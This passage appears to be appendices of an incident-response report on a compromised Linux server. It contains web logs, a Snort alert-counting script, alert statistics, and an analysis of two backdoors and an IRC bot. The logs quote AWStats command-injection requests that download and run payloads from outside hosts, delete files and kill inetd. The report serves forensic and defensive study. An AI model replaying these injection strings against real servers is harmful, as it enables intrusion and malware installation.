1 http://t.trafficmp.com/b.t/i7007/64922760/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/63619330/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/34296950/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/22948017/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i7007/13798813/?http://www.jebest.com/
1 http://t.trafficmp.com/b.t/i10459/94297984/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/76410505/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/66496685/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/64921563/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/63980484/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/62272714/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/57833442/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/50808946/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/41679747/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/41415330/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/37271720/?Http://www.bbxiong.com
1 http://t.trafficmp.com/b.t/i10459/20892730/?Http://www.bbxiong.com
1 http://rightmedia.net/imp?z=0&t=1&i=799&s=4556&y=2
1 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bwget%20www%2eadjud%2ego%2ero%2ft%2etgz%3btar%20zxvf%20t%2etgz%3b%2e%2ft%3becho%20e_exp%3b%2500
1 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3brm%20%2drf%20t%2a%3becho%20e_exp%3b%2500
1 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3blynx%20%2dsource%20www%2emaveric%2ecom%2ft%2etgz%20%3e%20t%2etgz%3bls%20%2dal%3becho%20e_exp%3b%2500
1 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3blynx%20%2dsource%20www%2eadjud%2ego%2ero%2ft%2etgz%20%3e%20t%2etgz%3bls%20%2dla%3becho%20e_exp%3b%2500
1 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%3bcurl%3becho%20e_exp%3b%2500
1 /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcat%20%2fetc%2f%2aissue%3becho%20e_exp%3b%2500
1 /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2ftmp%3b%20rm%20-rf%20.aw%3b%20killall%20-9%20inetd%20%7c%20
```

4. Get_unique_alerts.pl [TOC]

```
This script prints an ordered list (by frequency) of the unique Snort alerts.

#!/usr/bin/perl
open(A,"snortsyslog") or die "no file: $!";
$alert = '\w{3}\s{1,2}\d{1,2}\s\d{1,3}:\d{2}:\d{2}\s' .
         'bastion\ssnort:\s\[(\d+:\d+:\d+)\](.{28})' ;
while() {
        if (/$alert/) { $str = "$2 " . "($1)"; $cid{$str}++; }
        #else { print "$_"; }
}
close(A);
foreach $id (keys %cid) { push @unsorted, "$cid{$id} - $id"; }
@sorted = sort { $b <=> $a } @unsorted;
foreach (@sorted) { print "$_\n"; }
```

5. Unique Snort IDS Alerts [TOC]

```
This is the output of the script in Appendix 4.

# perl get_unique_alerts.pl
9846 -  Spade: Source used odd dest (104:4:1)
8040 -  ICMP Destination Unreachabl (1:402:7)
7435 -  Spade: Closed dest port use (104:1:1)
5638 -  CHAT IRC message [Classific (1:1463:6)
4438 -  MS-SQL Worm propagation att (1:2004:7)
4438 -  MS-SQL Worm propagation att (1:2003:8)
3590 -  MS-SQL version overflow att (1:2050:7)
3514 -  BLEEDING-EDGE Potential MyS (1:2001689:2)
3492 -  ICMP PING [Classification:  (1:384:5)
3461 -  (spp_stream4) possible EVAS (111:2:1)
3331 -  ICMP Echo Reply [Classifica (1:408:5)
1689 -  SHELLCODE x86 NOOP [Classif (1:648:7)
1009 -  BLEEDING-EDGE IRC - Channel (1:2000348:3)
885 -  ICMP PING CyberKit 2.2 Wind (1:483:5)
863 -  (http_inspect) BARE BYTE UN (119:4:1)
848 -  MS-SQL version overflow att (1:2050:5)
541 -  BLEEDING-EDGE IRC - Nick ch (1:2000345:3)
464 -  ICMP PING NMAP [Classificat (1:469:3)
452 -  WEB-MISC WebDAV search acce (1:1070:9)
428 -  WEB-MISC Chunked-Encoding t (1:1807:10)
428 -  WEB-FRONTPAGE rad fp30reg.d (1:1248:13)
428 -  WEB-FRONTPAGE /_vti_bin/ ac (1:1288:8)
421 -  (http_inspect) OVERSIZE REQ (119:15:1)
410 -  BLEEDING-EDGE Potential SSH (1:2001219:9)
402 -  ATTACK-RESPONSES 403 Forbid (1:1201:7)
400 -  WEB-IIS cmd.exe access [Cla (1:1002:7)
343 -  WEB-MISC http directory tra (1:1113:5)
247 -  (http_inspect) DOUBLE DECOD (119:2:1)
216 -  ICMP Time-To-Live Exceeded  (1:449:6)
148 -  BLEEDING-EDGE WORM Mydoom.a (1:2001439:3)
148 -  CHAT IRC nick change [Class (1:542:11)
114 -  BLEEDING-EDGE Web Proxy GET (1:2001669:1)
78 -  RPC portmap listing TCP 111 (1:598:12)
72 -  ICMP PING Delphi-Piette Win (1:372:7)
65 -  POLICY SMTP relaying denied (1:567:11)
60 -  WEB-IIS CodeRed v2 root.exe (1:1256:8)
51 -  BLEEDING-EDGE EXPLOIT Awsta (1:2001686:6)
49 -  BLEEDING-EDGE Multiple Non- (1:2000328:4)
47 -  (http_inspect) WEBROOT DIRE (119:18:1)
44 -  BAD-TRAFFIC loopback traffi (1:528:5)
28 -  BACKDOOR typot trojan traff (1:2182:8)
27 -  ICMP PING BSDtype [Classifi (1:368:6)
27 -  ICMP PING *NIX [Classificat (1:366:7)
27 -  ICMP traceroute [Classifica (1:385:4)
22 -  WEB-IIS WEBDAV nessus safe  (1:2091:8)
22 -  BLEEDING-EDGE MS-SQL DOS bo (1:2000381:2)
21 -  SHELLCODE x86 NOOP [Classif (1:1394:5)
20 -  ICMP Destination Unreachabl (1:485:4)
19 -  BLEEDING-EDGE IRC Trojan Re (1:2001372:2)
18 -  DNS named version attempt [ (1:1616:6)
16 -  (http_inspect) NON-RFC HTTP (119:13:1)
16 -  WEB-MISC bad HTTP/1.1 reque (1:1881:6)
15 -  (spp_stream4) STEALTH ACTIV (111:1:1)
14 -  WEB-IIS ISAPI .ida attempt  (1:1243:11)
14 -  WEB-IIS ISAPI .ida access [ (1:1242:10)
13 -  RPC portmap status request  (1:587:8)
13 -  ICMP Destination Unreachabl (1:399:6)
13 -  RPC STATD UDP stat mon_name (1:1913:10)
13 -  WEB-IIS nsiislog.dll access (1:2129:11)
12 -  ICMP PING Sun Solaris [Clas (1:381:6)
12 -  BLEEDING-EDGE SCAN NMAP -f  (1:2000545:1)
9 -  WEB-IIS ISAPI .printer acce (1:971:9)
8 -  ICMP Destination Unreachabl (1:401:6)
8 -  SCAN SSH Version map attemp (1:1638:5)
7 -  BLEEDING-EDGE POLICY IRC co (1:2000356:2)
6 -  BLEEDING-EDGE SCAN NMAP -sS (1:2000537:1)
5 -  ATTACK-RESPONSES id check r (1:1882:10)
5 -  WEB-ATTACKS wget command at (1:1330:6)
5 -  WEB-ATTACKS rm command atte (1:1365:5)
4 -  ATTACK-RESPONSES id check r (1:498:6)
4 -  ICMP Destination Unreachabl (1:396:6)
4 -  (snort_decoder) WARNING: TC (116:46:1)
3 -  BLEEDING-EDGE IRC - Private (1:2000347:3)
3 -  (snort_decoder): Truncated  (116:55:1)
3 -  BLEEDING-EDGE Proxy CONNECT (1:2001675:1)
1 -  Spade: Rare dest port used: (104:1:1)
1 -  ICMP PING speedera [Classif (1:480:5)
1 -  TFTP Get [Classification: P (1:1444:3)
1 -  BLEEDING-EDGE SCAN NMAP -sA (1:2000538:1)
1 -  WEB-MISC cat%20 access [Cla (1:1147:7)
1 -  MS-SQL ping attempt [Classi (1:2049:4)
1 -  SNMP request udp [Classific (1:1417:9)
1 -  BAD-TRAFFIC tcp port 0 traf (1:524:8)
1 -  SNMP public access udp [Cla (1:1411:10)
1 -  ICMP Parameter Problem Unsp (1:427:6)
```

6. Attributes of a, t, and inetd [TOC]

```
This is a listing of useful information to begin an investigation of unknown malware.

# file a.tgz
a.tgz: gzip compressed data, from Unix

# md5sum a.tgz
575ee82376ebc8e90a50cdda0b033cf2  a.tgz

# tar -xvzf a.tgz
a

# file a
a: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped

# md5sum a
14988b2de291120020605978a4a37466  a

# file aw.tgz
aw.tgz: gzip compressed data, from Unix

# md5sum aw.tgz
4312f8bcc055e98914fd52640b2ea226  aw.tgz

# tar -xvzf aw.tgz
.aw/
.aw/1
.aw/2
.aw/3
.aw/1~
.aw/2~
.aw/3~
.aw/rand/
.aw/rand/randkicks.e
.aw/rand/randpickup.e
.aw/rand/randsay.e
.aw/rand/randnicks.e
.aw/rand/randversions.e
.aw/rand/randsignoff.e
.aw/rand/randaway.e
.aw/rand/randinsult.e
.aw/raw.set
.aw/inetd
.aw/raw.help
.aw/raw.set~
.aw/raw.levels

# file .aw/inetd
.aw/inetd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped

# md5sum .aw/inetd
b0fc0409e27162e24f9670b85b54cfd0  .aw/inetd

# file t.tgz
t.tgz: gzip compressed data, from Unix

# md5sum t.tgz
13b92929fb007f0f68295568abf24cc3  t.tgz

# tar -xvzf t.tgz
gzip: stdin: decompression OK, trailing garbage ignored
tar: Child returned status 2
tar: Error exit delayed from previous errors

# file t
t: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped

# md5sum t
e34eff385b651778641d1c18bba17eb2
```

7. Compile Notes for a and t [TOC]

Here is some interesting stuff FYI. Our 'a' and 't' program files were both compiled with GCC 2.96, but on different systems ('a' on Mandrake 8.2 and 't' on Red Hat 7.3). You might wonder why this data doesn't show up in strings output. It's because this data is contained within the .comment section of the ELF, which is not read by the default strings command. By default, strings only reads the initialized and loaded sections of an ELF binary. With the -a or --all flag to strings, the .comment sections appear.

The .comment section is derived from the .ident data of pre-compiled code. An online document, [14] shows how to use '-fno-ident' and prevent generation of the .ident section (maybe this is why our 'initd' ELF has no .comment data), and how to strip away the .comment section from an ELF with the strip command.

On Sun's Solaris platform there is a tool for manipulating the comment sections of ELF program files called mcs, [15]. For this reason, the .comment section can't always be trusted as accurate.

```
# objdump -s a
[...other sections...]
Contents of section .comment:
 0000 00474343 3a202847 4e552920 322e3936  .GCC: (GNU) 2.96
 0010 20323030 30303733 3120284d 616e6472   20000731 (Mandr
 0020 616b6520 4c696e75 7820382e 3220322e  ake Linux 8.2 2.
 0030 39362d30 2e37366d 646b2900 00474343  96-0.76mdk)..GCC
 0040 3a202847 4e552920 322e3936 20323030  : (GNU) 2.96 200
[...repeat...]

objdump -s t
```

```
[...other sections...]
Contents of section .comment:
 0000 00474343 3a202847 4e552920 322e3936  .GCC: (GNU) 2.96
 0010 20323030 30303733 31202852 65642048   20000731 (Red H
 0020 6174204c 696e7578 20372e33 20322e39  at Linux 7.3 2.9
 0030 362d3131 33290000 4743433a 2028474e  6-113)..GCC: (GN
 0040 55292032 2e393620 32303030 30373331  U) 2.96 20000731
[...repeat...]
```

8. ltrace and strace of a, t, and inetd [TOC]

```
This (rather extensive) list indicates the output of library and system call traces
made by the back doors and IRC bot. With this information we determined the ports
they were designed to listen on, among other things.

# ltrace ./t
__libc_start_main(0x0804942c, 1, 0xbffff7b4, 0x08048820, 0x08049920 <unfinished ...>
__register_frame_info(0x0804ac78, 0x0804ae00, 0x400302f5, 0x08048aee, 0x08048820) = 0
bzero(0xbffff6f0, 16)                                             = <void>
htons(4000, 16, 0x4012cbd0, 0xbffff6f8, 0x40105f40)               = 40975
printf("Sa vedem ...\n"Sa vedem ...
)                                          = 13
socket(2, 1, 6)                                                   = 3
setsockopt(3, 1, 2, 0xbffff6ec, 4)                                = 0
bind(3, 0xbffff6f0, 16, 0xbffff6f8, 0x40105f40)                   = 0
listen(3, 5, 16, 0xbffff6f8, 0x40105f40)                          = 0
getsockname(3, 0xbffff6f0, 0xbffff718, 0xbffff6f8, 0x40105f40)    = 0
ntohs(40975)                                                      = 4000
printf("Se deschide pe portul urmator %d"..., 4000Se deschide pe portul urmator 4000
)              = 35
fork()                                                            = 3998
printf("Mergeeeeee pidu=%d\n", 3998Mergeeeeee pidu=3998
)                             = 21
__deregister_frame_info(0x0804ac78, 0x0fa0ac78, 0x0804ae00, 0, 0xa00f0002) = 0
+++ exited (status 0) +++

# strace ./t
execve("./t", ["./t"], [/* 43 vars */]) = 0
uname({sys="Linux", node="linux", ...}) = 0
brk(0)                                  = 0x804b000
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=11940, ...}) = 0
old_mmap(NULL, 11940, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\360U\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1349081, ...}) = 0
old_mmap(NULL, 1132940, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001b000
madvise(0x4001b000, 1132940, MADV_SEQUENTIAL|0x1) = 0
old_mmap(0x40125000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x10a000) = 0x40125000
old_mmap(0x4012d000, 10636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40130000
set_thread_area({entry_number:-1 -> 6, base_addr:0x40130080, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0x40018000, 11940)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 25), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000
write(1, "Sa vedem ...\n", 13Sa vedem ...
)          = 13
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(4000), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
getsockname(3, {sa_family=AF_INET, sin_port=htons(4000), sin_addr=inet_addr("0.0.0.0")}, [16]) = 0
write(1, "Se deschide pe portul urmator 40"..., 35Se deschide pe portul urmator 4000
) = 35
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x401300c8) = 4024
write(1, "Mergeeeeee pidu=4024\n", 21Mergeeeeee pidu=4024
)  = 21
munmap(0x40018000, 4096)                = 0
exit_group(0)

# ltrace ./a
__libc_start_main(0x08048d30, 1, 0xbffff7b4, 0x080487a8, 0x080495e0 <unfinished ...>
__register_frame_info(0x0804a6c8, 0x0804a844, 0x400302f5, 0x08048a2e, 0x080487a8) = 0
socket(2, 1, 6)                                                               = 3
bzero(0xbffff6f0, 16)                                                         = <void>
htonl(0, 16, 6, 0, 0)                                                         = 0
htons(60666, 16, 6, 0, 0)                                                     = 64236
bind(3, 0xbffff6f0, 16, 0, 0)                                                 = 0
listen(3, 5, 16, 0, 0)                                                        = 0
printf("Daemon is starting...")                                               = 21
fflush(0x401255c0Daemon is starting...)                                                            = 0
fork()                                                                        = 4022
printf("OK, pid = %d\n", 4022OK, pid = 4022
)                                                = 15
__deregister_frame_info(0x0804a6c8, 0x0804a6c8, 0x0804a844, 0, 0xfaec0002)   = 0
+++ exited (status 0) +++

# strace ./a
execve("./a", ["./a"], [/* 43 vars */]) = 0
uname({sys="Linux", node="linux", ...}) = 0
brk(0)                                  = 0x804b000
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=11940, ...}) = 0
old_mmap(NULL, 11940, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\360U\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1349081, ...}) = 0
old_mmap(NULL, 1132940, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001b000
madvise(0x4001b000, 1132940, MADV_SEQUENTIAL|0x1) = 0
old_mmap(0x40125000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x10a000) = 0x40125000
old_mmap(0x4012d000, 10636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40130000
set_thread_area({entry_number:-1 -> 6, base_addr:0x40130080, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0x40018000, 11940)               = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(60666), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 25), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000
write(1, "Daemon is starting...", 21Daemon is starting...)   = 21
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x401300c8) = 4023
write(1, "OK, pid = 4023\n", 15OK, pid = 4023
)        = 15
munmap(0x40018000, 4096)                = 0
exit_group(0)                           = ?

# strace ./inetd
execve("./inetd", ["./inetd"], [/* 43 vars */]) = 0
uname({sys="Linux", node="linux", ...}) = 0
brk(0)                                  = 0x8075000
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=11940, ...}) = 0
old_mmap(NULL, 11940, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\360U\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1349081, ...}) = 0
old_mmap(NULL, 1132940, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4001b000
madvise(0x4001b000, 1132940, MADV_SEQUENTIAL|0x1) = 0
old_mmap(0x40125000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x10a000) = 0x40125000
old_mmap(0x4012d000, 10636, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40130000
set_thread_area({entry_number:-1 -> 6, base_addr:0x40130080, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0x40018000, 11940)               = 0
time([1113792946])                      = 1113792946
stat64("./inetd", {st_mode=S_IFREG|0700, st_size=578551, ...}) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 26), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40018000
write(1, "EnergyMech 2.8.5, Bucharest: Dec"..., 49EnergyMech 2.8.5, Bucharest: December 30th, 2002
) = 49
write(1, "Compiled on Jan  4 2005 21:19:18"..., 33Compiled on Jan  4 2005 21:19:18
) = 33
write(1, "Features: DBG, LNE, SEE, LNK, TE"..., 59Features: DBG, LNE, SEE, LNK, TEL, PIP, DYN, NEW, ALS, SEF
) = 59
rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGHUP, {0x805a7e4, [HUP], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {0x805a950, [INT], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGBUS, {0x805a9a4, [BUS], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGPIPE, {0x805a930, [PIPE], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGALRM, {0x805a910, [ALRM], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x805aabc, [TERM], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR1, {0x805ab10, [USR1], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGUSR2, {0x805aba0, [USR2], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGSEGV, {0x805aa30, [SEGV], SA_RESTART}, {SIG_DFL}, 8) = 0
time([1113792946])                      = 1113792946
time([1113792946])                      = 1113792946
getpid()                                = 4236
brk(0)                                  = 0x8075000
brk(0x8096000)                          = 0x8096000
brk(0)                                  = 0x8096000
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
fcntl64(3, F_GETFL)                     = 0x2 (flags O_RDWR)
fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK)  = 0
open("./raw.session", O_RDONLY)         = -1 ENOENT (No such file or directory)
open("./raw.set", O_RDONLY)             = 4
read(4, "\n# RawEnergyMech 2.8.5.1\n# shAdY"..., 510) = 510
read(4, "SERVER  217.106.2.92    6667    "..., 510) = 510
read(4, "SERVER  140.99.102.4    6667    "..., 510) = 510
read(4, "       # We want the bot to requ"..., 510) = 510
read(4, "low public(in-channel) commands?"..., 510) = 510
read(4, "onfiguration #####\n\nNICK        "..., 510) = 510
read(4, "a line? 6 on undernet...\nSET CTI"..., 510) = 510
read(4, "w many -o before killing the guy"..., 510) = 510
read(4, "non-users? Yes.\nTOG SPY         "..., 510) = 510
read(4, "SHIT        1       # Activate t"..., 510) = 401
read(4, "", 510)                        = 0
close(4)                                = 0
write(1, "init: Mech(s) added [ Statia[3],"..., 56init: Mech(s) added [ Statia[3], Statia[2], Statia[1] ]
) = 56
open("./raw.levels", O_RDONLY)          = 4
read(4, "ACCESS 10\nADD 60\nADDSERVER 80\nAW"..., 510) = 510
read(4, "0\nREHASH 80\nREPORT 80\nRESET 100\n"..., 510) = 510
read(4, "0\n", 510)                     = 2
read(4, "", 510)                        = 0
close(4)                                = 0
open("3", O_RDONLY)                     = 4
read(4, "\nhandle\t\tnutzu\nmask\t\t*!*@Solaris"..., 510) = 70
read(4, "", 510)                        = 0
close(4)                                = 0
open("./Statia[3].seen", O_RDONLY)      = -1 ENOENT (No such file or directory)
open("2", O_RDONLY)                     = 4
read(4, "\nhandle\t\tnutzu\nmask\t\t*!*@Solaris"..., 510) = 70
read(4, "", 510)                        = 0
close(4)                                = 0
open("./Statia[2].seen", O_RDONLY)      = -1 ENOENT (No such file or directory)
open("1", O_RDONLY)                     = 4
read(4, "\nhandle\t\tnutzu\nmask\t\t*!*@Solaris"..., 510) = 70
read(4, "", 510)                        = 0
close(4)                                = 0
open("./Statia[1].seen", O_RDONLY)      = -1 ENOENT (No such file or directory)
write(1, "init: EnergyMech running...\n", 28init: EnergyMech running...
) = 28
getuid32()                              = 0
exit_group(0)                           = ?
```

9. VirusTotal Scan Results for a.tgz and t.tgz [TOC]

```
Scan results
File: a.tgz
Date: 04/19/2005 06:07:30 (CET)
----
AntiVir 6.30.0.7/20050418       found nothing
AVG     718/20050419    found nothing
BitDefender     7.0/20050419    found nothing
ClamAV  devel-20050307/20050419 found [Linux.RST.B]
DrWeb   4.32b/20050418  found nothing
eTrust-Iris     7.1.194.0/20050419      found nothing
eTrust-Vet      11.7.0.0/20050418       found nothing
Fortinet        2.51/20050419   found nothing
F-Prot  3.16b/20050419  found nothing
Ikarus  2.32/20050419   found nothing
Kaspersky       4.0.2.24/20050419       found [Backdoor.Linux.Rst.e]
McAfee  4471/20050418   found [Linux/BackDoor-GMM]

Scan results
File: t.tgz
Date: 04/19/2005 06:08:00 (CET)
----
AntiVir 6.30.0.7/20050418       found nothing
AVG     718/20050419    found nothing
BitDefender     7.0/20050419    found nothing
ClamAV  devel-20050307/20050419 found nothing
DrWeb   4.32b/20050418  found nothing
eTrust-Iris     7.1.194.0/20050419      found nothing
eTrust-Vet      11.7.0.0/20050418       found nothing
Fortinet        2.51/20050419   found nothing
F-Prot  3.16b/20050419  found [could be an archive bomb]
Ikarus  2.32/20050419   found nothing
Kaspersky       4.0.2.24/20050419       found nothing
McAfee  4471/20050418   found nothing
NOD32v2 1.1069/20050419 found nothing
Norman  5.70.10/20050418        found nothing
Panda   8.02.00/20050419        found nothing
Sybari  7.5.1314/20050419       found nothing
```

10. The disassembly of a [TOC]

```
# gdb a
[...lots of gdb startup stuff...]
(gdb) disassemble main
[...initialization..saving stack pointer...]
0x08048d45 :   call   0x80489d0
0x08048d4a :   add    $0x10,%esp
0x08048d4d :   mov    %eax,%eax
0x08048d4f :   mov    %eax,0xffffffb4(%ebp)
0x08048d52 :   cmpl   $0x0,0xffffffb4(%ebp)
0x08048d56 :   jns    0x8048d72
0x08048d58 :   sub    $0xc,%esp
0x08048d5b :   push   $0x8049646
0x08048d60 :   call   0x8048800
0x08048d65 :   add    $0x10,%esp
0x08048d68 :   mov    $0x1,%eax
0x08048d6d :   jmp    0x8049594
0x08048d72 :   sub    $0x8,%esp
0x08048d75 :   push   $0x10
0x08048d77 :   lea    0xffffffc8(%ebp),%eax
0x08048d7a :   push   %eax
0x08048d7b :   call   0x8048970
0x08048d80 :   add    $0x10,%esp
0x08048d83 :   movw   $0x2,0xffffffc8(%ebp)
0x08048d89 :   sub    $0xc,%esp
0x08048d8c :   push   $0x0
0x08048d8e :   call   0x8048850
0x08048d93 :   add    $0x10,%esp
0x08048d96 :  mov    %eax,%eax
0x08048d98 :  mov    %eax,%eax
0x08048d9a :  mov    %eax,0xffffffcc(%ebp)
0x08048d9d :  sub    $0xc,%esp
0x08048da0 :  push   $0xecfa
---Type  to continue, or q  to quit---
0x08048da5 :  call   0x80489a0
0x08048daa :  add    $0x10,%esp
0x08048dad :  mov    %eax,%eax
0x08048daf :  mov    %eax,%eax
0x08048db1 :  mov    %ax,0xffffffca(%ebp)
0x08048db5 :  sub    $0x4,%esp
0x08048db8 :  push   $0x10
0x08048dba :  lea    0xffffffc8(%ebp),%eax
0x08048dbd :  push   %eax
0x08048dbe :  pushl  0xffffffb4(%ebp)
0x08048dc1 :  call   0x8048940
[.....]
```

The system calls, from the GLIBC library,[4] executed by main() are socket(), perror(), bzero(), htonl(), htons(), and bind().

At offset 0x08048d8c we see the code push 0x0 onto the stack just before calling htonl(). According to the GLIBC manual, "This function converts the uint32_t integer from host byte order to network byte order. This is used for IPv4 Internet addresses," [4]. As we already know, an IP of 0, or 0.0.0.0, will result in the process listening or binding to all available interfaces.

Just after that, at offset 0x08048d93, we see the code add 0x10 to %esp (the stack pointer). This is making room in memory for the next push, which is guess what - the port number. At offset 0x08048da0 we push 0xecfa and then call htons(). This function takes an unsigned 16-bit integer as an argument, perfect. 0xecfa is 60666 in decimal, by the way.

Next, the code calls bind() using the information gathered by the previous functions. The disassembly is very large and this is only the beginning. perror() is called several times throughout main(), which shows the author implements some error handling. What happens if the socket() call fails? Well, it's simple - perror() returns a failure code and the program jumps to 0x8049594 (see offset 0x08048d6d with "<main+2148>"). The main() function ends at main+2153, so if the socket() call fails, the program essentially exits.

gdb can give you all the exact details and concrete evidence, but it takes time. objdump on the other hand can show which system library routines a file invokes much quicker, but sacrifices some detail (as well as ordering):

```
# objdump -T a
[...others...]
08048810      DF *UND*  0000002f  GLIBC_2.0   fork
08048860      DF *UND*  00000058  GLIBC_2.0   execve
08048880      DF *UND*  0000003a  GLIBC_2.0   accept
